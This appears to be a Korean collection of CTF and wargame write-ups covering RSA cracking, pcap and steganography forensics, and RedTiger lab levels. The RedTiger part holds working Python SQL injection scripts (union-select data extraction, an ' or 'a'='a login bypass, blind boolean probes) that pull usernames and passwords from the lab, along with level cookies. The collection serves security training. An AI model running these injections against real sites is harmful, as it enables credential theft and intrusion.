if p.is_integer() and q.is_integer() and (p * q) % N == 0:
p = p % N
q = q % N
if p > q:
return (p, q)
else:
return (q, p)
sage: p,q = factor_rsa_wiener(n, e)
sage: phi = (p-1)*(q-1)
sage: d = inverse_mod(e, phi)
sage: decrypted = Mod(c, n) ** d
sage: flag = hex(Integer(decrypted)).decode('hex')
sage: print(flag)
MISC¶
[2015_boston] [MISC] Riverside¶
challenge.pcapng 파일을 열어 확인해보니 USB 형식입니다.
$ tshark -r challenge.pcapng usb.bDescriptorType and usb.urb_type==67
4 0.075077000 12.0 -> host USB 82 GET DESCRIPTOR Response DEVICE
24 0.150578000 1.0 -> host USB 82 GET DESCRIPTOR Response DEVICE
60 0.047392000 2.0 -> host USB 82 GET DESCRIPTOR Response DEVICE
75 0.074061000 1.0 -> host USB 82 GET DESCRIPTOR Response DEVICE
94 0.150211000 3.0 -> host USB 82 GET DESCRIPTOR Response DEVICE
96 0.150419000 2.0 -> host USB 82 GET DESCRIPTOR Response DEVICE
98 0.150447000 1.0 -> host USB 82 GET DESCRIPTOR Response DEVICE
$ tshark -r challenge.pcapng usb.bDescriptorType and usb.urb_type==67 -T fields -e usb.bus_id -e usb.device_address -e usb.idVendor -e usb.idProduct
2 12 0x046d 0xc00e # Logitech M-BJ58/M-BJ69 Optical Wheel Mouse
3 1 0x1d6b 0x0003 # Linux Foundation 3.0 root hub
1 2 0x8087 0x8000 # Intel Integrated Rate Matching Hub
1 1 0x1d6b 0x0002 # Linux Foundation 2.0 root hub
2 3 0x5986 0x0268 # Acer Integrated Camera
2 2 0x8087 0x07dc # Intel 7260AC Bluetooth
2 1 0x1d6b 0x0002 # Linux Foundation 2.0 root hub
$ tshark -r challenge.pcapng 'usb.data_flag=="present (0)"' -T fields -e usb.bus_id -e usb.device_address -e usb.endpoint_number.endpoint | sort | uniq -c
12 1 1 0
2 1 1 1
12 1 2 0
1 1 2 1
7 2 1 0
1 2 1 1
1 2 12 0
7608 2 12 1
1 2 2 0
3 2 3 0
9 3 1 0
1 3 1 1
USB 마우스 코드
[2015_csaw] [MISC] Mandiant¶
일단 pdf를 받아서 열어보니 mandiant에서 작성한 pdf파일입니다.
PDFStreamDumper를 이용해서 해당 pdf를 열어보니 많은 오브젝트가 존재하는 것을 확인할 수 있습니다. 그 중 base64로 보이는 오브젝트가 확인됩니다.

base64값을 output.b64로 저장하고 해당 값을 디코드한 값의 헤더 부분을 확인해보니 이미지 파일인 것을 확인할 수 있습니다.
$ cat output.b64|tr -d '\n'|base64 -d|xxd|head
0000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
0000010: 0000 0262 0000 01d3 0806 0000 0084 2874 ...b..........(t
0000020: ab00 0020 0049 4441 5478 5eec 5d07 7853 ... .IDATx^.].xS
0000030: 551b 7e93 b449 57ba 271d 1428 bb65 15ca U.~..IW.'..(.e..
0000040: de7b ca12 441c 080e c0bd c1ad bfbf f377 .{..D..........w
0000050: e304 b788 a8ec 8d6c 1029 7b6f 0aa5 40f7 .......l.){o..@.
0000060: de6d 92fe cf7b c22d a136 c94d 49b1 60be .m...{.-.6.MI.`.
0000070: c7d8 d2dc 7bee 39df 39f7 7cef f9a6 02b7 ....{.9.9.|.....
0000080: 3e5b 0107 3938 e0e0 8083 030e 0e38 38e0 >[..98.......88.
0000090: e080 8303 0e0e 5c77 0e28 1c40 ecba f3dc ......\w.(.@....
해당 파일을 이미지로 저장해보니 다음과 같습니다.
$ cat output.b64|tr -d '\n'|base64 -d > pic.png

binwalk를 통해 파일을 확인한 결과 7-zip으로 압축된 파일이 바인딩 되어 있는 걸 확인할 수 있습니다.
$ binwalk -e pic.png
DECIMAL HEX DESCRIPTION
----------------------------------------------------------------------------------------
0 0x0 PNG image, 610 x 467, 8-bit/color RGBA, non-interlaced
160173 0x271AD 7-zip archive data, version 0.4
7z로 해당 일을 풀면 하나의 secret.txt라는 문서 파일이 하나 추출됩니다.
$ 7z x 271AD.zip
7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
p7zip Version 9.20 (locale=ko_KR.UTF-8,Utf16=on,HugeFiles=on,1 CPU)
Processing archive: 271AD.zip
Extracting secret.txt
Everything is Ok
Size: 58375
Compressed: 43849
해당 파일 역시 base64로 인코딩되어 있어 확인하면 다음과 같습니다.
$ cat secret.txt |tr -d '\n' |base64 -d |xxd| head
0000000: ffd8 ffdb 0043 0003 0202 0202 0203 0202 .....C..........
0000010: 0203 0303 0304 0604 0404 0404 0806 0605 ................
0000020: 0609 080a 0a09 0809 090a 0c0f 0c0a 0b0e ................
0000030: 0b09 090d 110d 0e0f 1010 1110 0a0c 1213 ................
0000040: 1210 130f 1010 10ff db00 4301 0303 0304 ..........C.....
0000050: 0304 0804 0408 100b 090b 1010 1010 1010 ................
0000060: 1010 1010 1010 1010 1010 1010 1010 1010 ................
0000070: 1010 1010 1010 1010 1010 1010 1010 1010 ................
0000080: 1010 1010 1010 1010 1010 1010 ffc2 0011 ................
0000090: 0801 1b01 4103 0122 0002 1101 0311 01ff ....A.."........
해당 파일을 이미지로 저장해보니 다음과 같습니다.
$ cat secret.txt |tr -d '\n' |base64 -d > pic.jpg

다시 해당 이미지 파일에 strings값을 확인해보니 base64가 인코딩되어 있는 것을 확인할 수 있습니다.
$ strings -a pic.jpg | tail -n2 > strings.b64
Free File Camouflage
[2015_defcamp] [MISC] try harder¶
먼저 2개의 파일을 다운로드 할 수 있도록 되어 있네요.
1>misc200.part0.jpg.gz 2>part3.zip
1번째 파일은 압축을 푸니 확장자는 jpg로 되어있으나, x86 bootsector file이었고, 2번재 파일은 패스워드가 걸려있어서 압축이 안풀리네요.
그럼 bootsector를 binwalk라는 Firmware Analysis Tool로 분석해봅니다. ※ 돌려보면 아시겠지만 시간이 엄청 오래걸립니다.
$ binwalk -e misc200.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
362319872 0x15989000 Zip archive data, at least v2.0 to extract, compressed size: 106482, uncompressed size: 106518, name: "emalware.042"
503414784 0x1E018000 Zip archive data, at least v2.0 to extract, compressed size: 63746, uncompressed size: 80643, name: "3pm.redrah-yrt"
503478634 0x1E02796A End of Zip archive
4개 파일이 떨궈진 것을 확인할 수 있습니다.
$ ls _misc200.jpg.extracted
15989000.zip 1E018000.zip 3pm.redrah-yrt emalware.042
그 중에 3pm.redrah-yrt가 수상하네요. 파일명을 보니 문제 제목을 거꾸로 써놨네요. 먼저 이상한 파일일 경우에 항상 하는 게 있죠. strings~
$ strings 3pm.redrah-yrt
9TIT2
try-harder.mp3COMM
aHR0cDovL2RjdGYuZGVmLmNhbXAvX19kbmxkX18yMDE1X18vcGFydDEuaHRtbATXXX
TRACKTOTAL
TCOP
TLAN
TPUB
Info
"$(*+/1379;?@BFHJNPRUWY]_aegilnptvx|~
...(중략)....
먼가 저 strings가 수상한 냄새가 나네요. base64로 디코딩을 한 결과 다음과 같은 주소가 나옵니다. (https://www.base64decode.org/) http://dctf.def.camp/__dnld__2015__/part1.html
해당 주소로 접속하면 다음과 같은 텍스트를 떨굽니다.
Capture the Flag (CTF) is a special kind of information security competitions. There are three common types of CTFs: Jeopardy, Attack-Defence and mixed.
Jeopardy-style CTFs has a couple of questions (tasks) in range of categories. For example, Web, Forensic, Crypto, Binary or something else. Team can gain some points for every solved task. More points for more complicated tasks usually. The next task in chain can be opened only after some team solve previous task. Then the game time is over sum of points shows you a CTF winer. Famous example of such CTF is Defcon CTF quals.
Well, attack-defence is another interesting kind of competitions. Here every team has own network(or only one host) with vulnarable services. Your team has time for patching your services and developing exploits usually. So, then organizers connects participants of competition and the wargame starts! You should protect own red herring for defence points and hack opponents for attack points. Historically this is a first type of CTFs, everybody knows about DEF CON CTF - something like a World Cup of all other competitions.
Mixed competitions may vary possible formats. It may be something like wargame with special time for task-based elements (like UCSB iCTF).
CTF games often touch on many other aspects of information security: cryptography, stego, binary analysis, reverse engeneering, mobile security and others. Good teams generally have strong skills and experience in all these issues.
All rights reserved to ctftime.org
Enjoy this CTF and get in the final round!
먼가 tab과 띄어쓰기로 이루어져 있군요. (writeup을 보고 그러려니 하지만 이런걸 어떻게 유추하는거죠?) 띄어쓰기를 0으로 치환하고 tab을 1로 치환한 후 8비트씩 잘라봅니다.
x = open('part1.txt', 'rb').read()
for i in range(256):
if i==ord(' ') or i==ord('\t'):
continue
x=x.replace(chr(i), '')
x = x.replace(' ','0')
x = x.replace('\t','1')
x = x +'0'
print x
n=""
for l in range(len(x)/8):
l = l*8
m = x[l:l+8]
n +=chr(int(m,2))
print n
Second part in misc200part2.zip 라는 값이 뜨게 됩니다.
http://dctf.def.camp/__dnld__2015__/misc200part2.zip 해당 주소로 접속하여 misc200part2.zip 파일을 다운로드 받습니다.
다운 받은 파일을 압축 해제하면 다음과 같이 2개의 파일이 풀립니다. 일단 file1.bmp파일을 열어보니 그냥 이상한 그림 파일이군요. (여기에 패스워드가 있을 줄 알았는데.....)

뭔가 file2가 해결 실마리가 될거 같네요.
$ ls -al
-rw-rw-r-- 1 joizel joizel 338202 Oct 3 00:09 file1.bmp
-rw-rw-r-- 1 joizel joizel 338202 Oct 3 00:19 file2
파일 크기가 같은 걸로 보아 뭔가 냄새가 나는군요. hexdump로 헤더 부분을 확인해보니, file2의 헤더부분이 00으로 채워져있어, file1.bmp의 헤더 부분을 file2에 덮어씌어 보겠습니다.

아 패스워드가 드디어 나오네요.
binary_and_xor_is_how_we_all_start
이제 아까 암호 압축이 되어 있던 파일에 패스워드를 넣었더니 정상적으로 압축이 풀립니다. 압축이 풀리고 part3.jpg에 패스워드가 보이네요.
[2015_trendmicro] [MISC] fix pdf¶
일단 pdf를 받아서 열어보려고 하니 정상적으로 열리지 않더군요.
exiftool로 pdf파일을 열어보니 Warning 메시지를 띄우네요. Invalid xref table이라고 합니다. 뭔가 레퍼런스가 정상적이지 않은가 봅니다.
$ exiftool fix_my_pdf.pdf
ExifTool Version Number : 9.46
File Name : fix_my_pdf.pdf
Directory : .
File Size : 32 kB
File Modification Date/Time : 2015:09:25 23:44:33-04:00
File Access Date/Time : 2015:09:29 20:27:16-04:00
File Inode Change Date/Time : 2015:09:26 00:19:24-04:00
File Permissions : rw-rw-r--
File Type : PDF
MIME Type : application/pdf
PDF Version : 1.3
Linearized : No
Warning : Invalid xref table
pdfextract를 했더니 다음과 같이 6개의 stream 파일과 2개의 이미지 파일을 떨굽니다.
$ pdfextract fix_my_pdf.pdf
[error] Breaking on: "stream\nx\x01\xED..." at offset 0x1581
[error] Last exception: [Origami::InvalidObjectError] Cannot determine object (no:13,gen:0) type
Extracted 6 PDF streams to 'fix_my_pdf.dump/streams'.
Extracted 0 scripts to 'fix_my_pdf.dump/scripts'.
Extracted 0 attachments to 'fix_my_pdf.dump/attachments'.
Extracted 0 fonts to 'fix_my_pdf.dump/fonts'.
Unable to decode image (stream 11). Invalid indexed palette table
Extracted 2 images to 'fix_my_pdf.dump/images'.
떨군 파일 중에 streams에 있는 내용을 확인해보니 stream_2.dmp에 <xmpGImg:image> 태그에 /9j/로 시작하는 데이터가 들어있습니다.
<rdf:li rdf:parseType="Resource">
<xmpGImg:image>/9j/4AAQSkZJRgABAgEASABIAAD/7QAsUGhvdG9zaG9wIDMuMAA4QklNA+0AAAAAABAASAAAAAEA
AQBIAAAAAQAB/+4ADkFkb2JlAGTAAAAAAf/bAIQABgQEBAUEBgUFBgkGBQYJCwgGBggLDAoKCwoK
DBAMDAwMDAwQDA4PEA8ODBMTFBQTExwbGxscHx8fHx8fHx8fHwEHBwcNDA0YEBAYGhURFRofHx8f
Hx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8f/8AAEQgAdAEAAwER
AAIRAQMRAf/EAaIAAAAHAQEBAQEAAAAAAAAAAAQFAwIGAQAHCAkKCwEAAgI(....중략...)HZd
3f8AIC/+/X/7l+Oy7u/5AX/36/8A3L8dl3d/yAv/AL9f/uX47Lu7/kBf/fr/APcvx2Xd3/IC/wDv
1/8AuX47Lu7/AJAX/wB+v/3L8dl3d/yAv/v1/wDuX47Lu7/kBf8A36//AHL8dl3f/9k=</xmpGImg:image>
이런 경우 base64로 인코딩되어 있는 것으로 
 값을 다 지우고 base64 decode를 해주면 jpg 파일이 나옵니다.

[2015_trendmicro] [MISC] poison ivy pcap¶
poison ivy pcap 복호화 하기
Poison Ivy관련 pcap 덤프 내용 중에 key를 찾으라는 문제인거 같네요. Poison Ivy는 Gh0st RAT과 같이 유명한 원격제어 관리 툴입니다. 이걸 악용해서 APT 공격에 자주 쓰이고 있죠. pcap을 열어보니 ssl로 encrypt되어 있는데 이걸 어떻게 풀지라는 의문이 들었습니다. 구글신에게 물어보니 poison ivy관련 디코딩 툴이 있다고 합니다. chopshop이라는 툴이네요.
일단 무작정 설치했습니다. 그리고 나서 설명에 나온 대로 해봤는데 계속 so를 찾을 수 없다고 에러가 뜨길래 포기했었습니다.
$ chopshop -f net.pcap "poisonivy_23x"
Warning Legacy Module poisonivy_23x!
Starting ChopShop (Created by MITRE)
Initializing Modules ...
Initializing module 'poisonivy_23x'
poisonivy_23x init failure: Couldn't locate camellia.so
No modules
ChopShop Complete
(여기까지 하고 별 출력되는 게 없어서 포기했었습니다.) ※ 좀 더 적극적으로 봤다면 풀지 않았을 까 하는 아쉬움이 드네요.
풀이를 보니 poisonivy_23x 모듈을 주고 그 뒤에 camellia.so 위치를 지정해 주어야 하더군요.
-p: the path to the required lib file (camellia.so)
-c: save screen/webcam/audio/key captures to files
-s: Location to save carved files
$ chopshop -f net.pcap "poisonivy_23x -c -p 'camellia.so 위치'" -s out/
out폴더에 bmp파일을 확인해보니 패스워드가 나오네요.
[2016_hackcon] [MISC] rainbow¶
Javascript brainfuck Interpreter//Debugger
http://www.iamcal.com/misc/bf_debug/
++++++++[>++++>++++++>++++++++>++++++++++>++++
++++++++<<<<<-]>
>>>>++++++++++++++++++++.---------------
.<++++++++.>+++++++++++++++.<+++++++.----------.<+++.-
-.>-------.++++++.+++++++++++.>--.<<<+++.+.>>+++++.-----
.>---------.++++++++++.<<<.>>.+++.>-.<-.++++++++.>----.<---
.<<<++++++++++..>>>>---.
[>]<[[-]<]
[2016_tjctf] [MISC] curse and hex¶
from PIL import Image
im = Image.open("curses_and_hexes.png")
width, height = im.size
a=open('out.txt','w')
for pixel in im.getdata():
a.write(chr(pixel[0]))
a.write(chr(pixel[1]))
a.write(chr(pixel[2]))
a.close()
[2017_HackCon] [MISC] Rotate it, High Bass, File, Needle, ALL CAPS, RSA-1, flag.txt, Welcome, Keep talking¶
문제내용 (Rotate)¶
Found this weird code can you make something out of it? q4ex{ju0_tvir$_pn3fne_va_PGS???}p0qr
문제 풀이¶
rot13을 통해 문제 해결
문제내용 (High Bass)¶
The secret code just became longer VGhpcyB3YXMgaW4gYmFzZS02NDogZDRya3t0aGF0XyRpbXBsXzNuMHVnaDRfVX1jMGRl
문제 풀이¶
Base64 decode를 통해 문제 해결
문제내용 (Files)¶
This file is weird, what does it do?
문제 풀이¶
elf 파일 실행하면 문제 해결
문제 풀이¶
$ string text.txt |grep d4rk
문제내용 (ALL CAPS)¶
Another cipher? You got to be kidding me. OF EKBHMGUKZHJB, Z LWALMOMWMOGF EOHJTK OL Z DTMJGX GY TFEGXOFU AB NJOEJ WFOML GY HSZOFMTVM ZKT KTHSZETX NOMJ EOHJTKMTVM, ZEEGKXOFU MG Z YOVTX LBLMTD; MJT "WFOML" DZB AT LOFUST STMMTKL (MJT DGLM EGDDGF), HZOKL GY STMMTKL, MKOHSTML GY STMMTKL, DOVMWKTL GY MJT ZAGRT, ZFX LG YGKMJ. MJT KTETORTK XTEOHJTKL MJT MTVM AB HTKYGKDOFU MJT OFRTKLT LWALMOMWMOGF. MJZFQL YGK KTZXOFU MJZM, JTKT'L BGWK YSZU: X4KQ{MKB_YZEEJ3_OYMJOL_MGG_LODHTS}E0XT
문제 풀이¶
문제내용 (RSA-1)¶
Go read about RSA and how it works, then try to solve this.
p = 152571978722786084351886931023496370376798999987339944199021200531651275691099103449347349897964635706112525455731825020638894818859922778593149300143162720366876072994268633705232631614015865065113917174134807989294330527442191261958994565247945255072784239755770729665527959042883079517088277506164871850439
q = 147521976719041268733467288485176351894757998182920217874425681969830447338980333917821370916051260709883910633752027981630326988193070984505456700948150616796672915601007075205372397177359025857236701866904448906965019938049507857761886750656621746762474747080300831166523844026738913325930146507823506104359
c = 8511718779884002348933302329129034304748857434273552143349006561412761982574325566387289878631104742338583716487885551483795770878333568637517519439482152832740954108568568151340772337201643636336669393323584931481091714361927928549187423697803637825181374486997812604036706926194198296656150267412049091252088273904913718189248082391969963422192111264078757219427099935562601838047817410081362261577538573299114227343694888309834727224639741066786960337752762092049561527128427933146887521537659100047835461395832978920369260824158334744269055059394177455075510916989043073375102773439498560915413630238758363023648
e = 65537
문제 풀이¶
sage: N=p*q
sage: phi = (p-1)*(q-1)
sage: d = inverse_mod(e, phi)
sage: decrypted = Mod(c, N) ** d
sage: flag = hex(Integer(decrypted)).decode('hex')
sage: print(flag)
문제내용 (flag.txt)¶
Even google won't be able to find the flag. Still you can try if you want: http://defcon.org.in:6061/
문제 풀이¶
해당 페이지에 접속하면 robot관련 힌트를 주는데 robots.txt 파일이 존재하는 지 확인한다. 확인하면 특정 디렉토리에 대해 Disallow가 되어 있는데 해당 디렉토리에 flag.txt를 읽으면 플래그가 출력된다.
[2017_HackCon] [Stegano] White¶
문제내용¶
This is a white image. Or is it?
문제 풀이¶
이미지 파일을 받고 보면 IEND 뒤에 base64데이터가 붙어있는 것을 볼 수 있다. 해당 base64 데이터를 디코딩하면 또다른 이미지 파일이 나온다.
이런식으로 계속해서 이미지 파일을 디코딩하면 이미지 조각들이 나오게 되고, 해당 이미지 조각을 조합하면 플래그를 획득할 수 있다.
import base64
f = open('final.png','rb')
data = f.read()
l = 1
while True:
if 'IEND' in data:
data = data.split('IEND')[1][4:]
data = base64.b64decode(data)
g = open (str(l)+'.png','wb')
g.write(data)
g.close()
l = l+1
else:
False
break
[2017_Inc0gnito] [MISC] Number, kudo, Retro, DOS, Origin¶
문제내용 (Number)¶
Give me 217th A000045. Flag: INC0{value of 217th A000045} psst..! Real l33t uses zero-based index!
문제내용 (kudo)¶
This exploit was found in 2014, named by George Hotz(also known as Geohot). This bug is used for local privilege execution on Android 4.4+(Kitkat), executing root privileged code. This can be used as phone-rooting and attacking mobile devices in drive-by downloads. Flag format: INC0{name of this in lowercase}
문제 풀이¶
구글링을 통해 towelroot라는 것을 확인
문제내용 (Retro)¶
This exploit was originally found in 2000, origined from Hong Kong. This exploit includes vbscript inside E-mails, automatically runned by script tag inside browser feature of application. This exploit does self-autorun patch inside registry and patches multi-media files. Also, this exploit is sent to other friends. Flag format: INC0{The name of this virus}
문제 풀이¶
구글링을 통해 ILOVEYOU라는 것을 확인
문제내용 (DOS)¶
This virus is considered to be the first virus targeting MS-DOS. This virus was found in 1986, patches PCs' boot sector with DOS File Allocation Table(also known as FAT). Flag format: INC0{The phone number of this virus developer, with commas, no spaces}
문제 풀이¶
구글링을 통해 430791,443248,280530 을 확인
문제내용 (Origin)¶
In earlier scene of hacking, the greatest Mathematician, Programmer, Computer kudo John von Neumann wrote this article. This includes the basic form of modern viruses, including self-copy, self-restart in mathematical orders. Flag format: INC0{The name of this article}
문제 풀이¶
구글링을 통해 Theory of Self-Reproducing Automata 을 확인
[2017_asisctf] [MISC] ASIS secret letter¶
문제내용¶
The face is the index of the mind, its ASIS secret letter!
문제 풀이¶
png, jpeg 2개의 이미지 파일이 주어집니다.
이미지 파일을 binwalk로 확인한 결과 하나의 파일에서 TIFF 파일이 존재함을 확인. 파일을 확인해보니 base64로 이루어져 있는 것으로 보여, base64를 진행했더니 powerd by Stéganô 라는 걸 확인할 수 있었음.
$ binwalk -e 3baa358f6d671e86f17bc4439cc4062e
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8
56 0x38 Zlib compressed data, default compression
$ binwalk -e e07d17ed7d8104590ff3e17bdf052057
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 4351 x 2812, 8-bit/color RGB, non-interlaced
41 0x29 Zlib compressed data, default compression
$ cat _3baa358f6d671e86f17bc4439cc4062e.extracted/38
OEorU2pDQWdabkp2YlNCQlUwbFRJSGRwZEdnZ2JHOTJaU3dnY0d4bFlYTmxJR1pwYm1RZ2MyVmpjbVYwSUcxbGMzTmhaMlVnWVc1a0lISmxjR3g1SUhOdmIyNHNJSEJ2ZDJWeVpXUWdZbmtnOEorUmlTQWdVM1REcVdkaGJzTzBJUENma1lnPQ==
$ cat _3baa358f6d671e86f17bc4439cc4062e.extracted/38|base64 -d |base64 -d
💌 from ASIS with love, please find secret message and reply soon, powered by 👉 Stéganô 👈
Stéganô로 구글 검색을 해보니 하나의 툴이 검색됨.
https://github.com/cedricbonhomme/Stegano
해당 툴을 다운 받고 실행해보니 플래그가 나옴.. 왜 triangular_numbers를 썻을까? 의문..
$ python3 Stegano/bin/stegano-lsb-set reveal -i e07d17ed7d8104590ff3e17bdf052057 -g triangular_numbers
[2017_h3x0r] [MISC] Power Guessing!¶
문제 내용¶
Korean CTF loves GUESSING challenge! http://13.124.1.51/crypto/prob1/
문제 풀이¶
해당 사이트에 접속해보면 친절하게 base64가 나오는데 새로고침할때 마다 값이 약간 다르게 나온다. base64 디코드를 통해 문자열을 유추하면 플래그를 획득할 수 있다.
[2017_kiwi] [Stegano] Pimple Stegano¶
문제내용¶
For every message that we give, an image is returned. The image should have the message embedded via steganography. The message in the original image will give us the key.
문제 풀이¶
웹 사이트에 접속하면 이미지 파일이 하나 나오고 msg를 입력하는 창이 뜬다. msg를 입력하게 되면 점 배치가 계속해서 바뀌는 걸 확인할 수 있었다.
먼저 이미지가 바뀌는 패턴을 이해하기 위해 msg를 1,2,3으로 입력하여 이미지를 비교해보았다. 기본 틀의 rgb들은 변하지 않고 특정 rgb들만 변하는 걸 확인할 수 있었다.
해당 내용을 코드를 통해 추출한 결과 flag를 획득할 수 있었다.
import requests
from PIL import Image
import string
im = Image.open("the-troll.png")
rgb_im = im.convert('RGB')
width,height = im.size
newimdata = []
extract = []
output = ""
cnt = 0
for i in range(width):
for j in range(height):
color = rgb_im.getpixel((i,j))
if color == (3,3,3):
output += "1"
cnt += 1
#print (i,j)
elif color == (2,2,2):
output += "0"
cnt += 1
#print (i,j)
elif color == (96,96,96):
output += "0"
cnt += 1
#print (i,j)
elif color == (97,97,97):
output += "0"
cnt += 1
#print (i,j)
else:
pass
if cnt==8:
extract.append(output)
cnt=0
output=""
print extract
text = ""
for q in extract:
text += chr(int(q,2))
print text
Wargame¶
WEB¶
[redtiger] level1¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9;
}
step0 -> step1[label="cat=1 union select %s from level1_users",arrowhead="normal"];
step3 -> step2[label="Column Length",arrowhead="normal"];
step4 -> step5[label="cat=1 union select 1,2,username,password from level1_users",arrowhead="normal"];
step7 -> step6[label="Data Extract",arrowhead="normal"];
}](_images/graphviz-5a4c2d6737530de9e8524b1cd0504f1d4f6fffbe.png)
union select¶
- 컬럼 개수 확인
import requests
requests.packages.urllib3.disable_warnings()
url = "https://redtiger.labs.overthewire.org/level1.php"
n = 0
ret = ''
for l in range(20):
params = {
"cat": "1 union select %s from level1_users" % str(n)
}
print params.values()[0]
n = str(n) + "," + str(l+1)
r = requests.get(url, params=params, verify=False)
print r.content
union select¶
- 데이터 추출
import requests
requests.packages.urllib3.disable_warnings()
url = "https://redtiger.labs.overthewire.org/level1.php"
params = {
"cat": "1 union select 1,2,username,password from level1_users"
}
r = requests.get(url, params=params, verify=False)
print r.content
[redtiger] level2¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5;
}
step0 -> step1[label="post_data: {username=' or 'a'='a&password=' or 'a'='a}",arrowhead="normal"];
step3 -> step2[label="login success",arrowhead="normal"];
}](_images/graphviz-9c942ce3c7b33e9ff2f098e00711f0e46988a34a.png)
server -> DB 예측¶
- POST 파라미터: username, password
SELECT * FROM tb_name where
username='$_POST["username"]' AND
password='$_POST["password"]'
or¶
import requests
requests.packages.urllib3.disable_warnings()
url = "https://redtiger.labs.overthewire.org/level2.php"
cookies = {
"level2login":"easylevelsareeasy_%21"
}
payload = {
"username": "' or 'a'='a",
"password": "' or 'a'='a",
"login": "Login"
}
r = requests.post(url, cookies=cookies, data=payload, verify=False)
print r.content
[redtiger] level3¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8 -> step10 -> step12;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9 -> step11 -> step13;
}
step0 -> step1[label="post_data: {usr[]=}",arrowhead="normal"];
step3 -> step2[label="Error Page",arrowhead="normal"];
step4 -> step5[label="post_data: {usr=' union select %s from level3_users-- }",arrowhead="normal"];
step7 -> step6[label="Column Length",arrowhead="normal"];
step8 -> step9[label="post_data: {usr=' union select 1,2,3,username,password,6,7 from level3_users where username='Admin' -- }",arrowhead="normal"];
step11 -> step10[label="Data Extract",arrowhead="normal"];
}](_images/graphviz-c356606e914ca595f0a6c1c4fe0cc2117af22388.png)
Array Injection¶
- 배열 삽입
import requests
requests.packages.urllib3.disable_warnings()
url = "https://redtiger.labs.overthewire.org/level3.php"
cookies = {
"level3login":"securitycat_says_meow_and_likes_cheese"
}
# []
payload = {
"usr[]": ""
}
r = requests.post(url, cookies=cookies, params=payload, verify=False)
print r.content
- 삽입시 에러 페이지
Warning: preg_match() expects parameter 2 to be string,
array given in /var/www/hackit/urlcrypt.inc on line 21
<?php
function encrypt($str)
{
$cryptedstr = "";
for ($i =0; $i < strlen($str); $i++)
{
$temp = ord(substr($str,$i,1)) ^ 192;
while(strlen($temp)<3)
{
$temp = "0".$temp;
}
$cryptedstr .= $temp. "";
}
return base64_encode($cryptedstr);
}
function decrypt ($str)
{
if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
{
$str = base64_decode($str);
if ($str != "" && $str != null && $str != false)
{
$decStr = "";
for ($i=0; $i < strlen($str); $i+=3)
{
$array[$i/3] = substr($str,$i,3);
}
foreach($array as $s)
{
$a = $s^192;
$decStr .= chr($a);
}
return $decStr;
}
return false;
}
return false;
}
?>
import base64
def encrypt(_str):
cryptedstr = ""
for i in range(len(_str)):
temp = ord(_str[i:i+1]) ^ 192
temp = str(temp)
while len(temp)<3:
temp = "0" + temp
cryptedstr += temp
return base64.b64encode(cryptedstr)
union select¶
- 컬럼 개수 확인
import requests
import base64
requests.packages.urllib3.disable_warnings()
def encrypt(_str):
cryptedstr = ""
for i in range(len(_str)):
temp = ord(_str[i:i+1]) ^ 192
temp = str(temp)
while len(temp)<3:
temp = "0" + temp
cryptedstr += temp
return base64.b64encode(cryptedstr)
url = "https://redtiger.labs.overthewire.org/level3.php"
cookies = {
"level3login":"securitycat_says_meow_and_likes_cheese"
}
n = 0
bef_ret = ''
for l in range(20):
params = {
"usr": encrypt("' union select %s from level3_users-- " % str(n))
}
print "' union select %s from level3_users-- " % str(n)
n = str(n) + "," + str(l+1)
r = requests.post(url, cookies=cookies, params=params, verify=False)
if bef_ret!=r.content and bef_ret!='':
print r.content
bef_ret = r.content
union select¶
- 데이터 추출
import requests
import base64
requests.packages.urllib3.disable_warnings()
def encrypt(_str):
cryptedstr = ""
for i in range(len(_str)):
temp = ord(_str[i:i+1]) ^ 192
temp = str(temp)
while len(temp)<3:
temp = "0" + temp
cryptedstr += temp
return base64.b64encode(cryptedstr)
url = "https://redtiger.labs.overthewire.org/level3.php"
cookies = {
"level3login":"securitycat_says_meow_and_likes_cheese"
}
params = {
"usr": encrypt("' union select 1,2,3,username,password,6,7 from level3_users where username='Admin' -- ")
}
r = requests.post(url, cookies=cookies, params=params, verify=False)
print r.content
[redtiger] level4¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9;
}
step0 -> step1[label="id=1 and if((select length(keyword) from level4_secret)=%s,1,0)",arrowhead="normal"];
step3 -> step2[label="Data Length",arrowhead="normal"];
step4 -> step5[label="id=1 and if((select substring(keyword,%s,1) from level4_secret)=%s,1,0)",arrowhead="normal"];
step7 -> step6[label="Data Extract",arrowhead="normal"];
}](_images/graphviz-a7122f7c4958f0230eae415fdcae168664122d4f.png)
server -> DB 예측¶
- 테이블명: level4_secret
- Disabled: like
- GET 파라미터: id
SELECT * FROM tb_name where
id=$_GET["id"]
and if¶
- 데이터 길이 확인
import requests
requests.packages.urllib3.disable_warnings()
url = "https://redtiger.labs.overthewire.org/level4.php"
cookies = {
"level4login":"dont_publish_solutions_GRR%21"
}
n = 0
bef_ret = ''
for l in range(20):
params = {
"id": "1 and if((select length(keyword) from level4_secret)=%s,1,0)" % str(l)
}
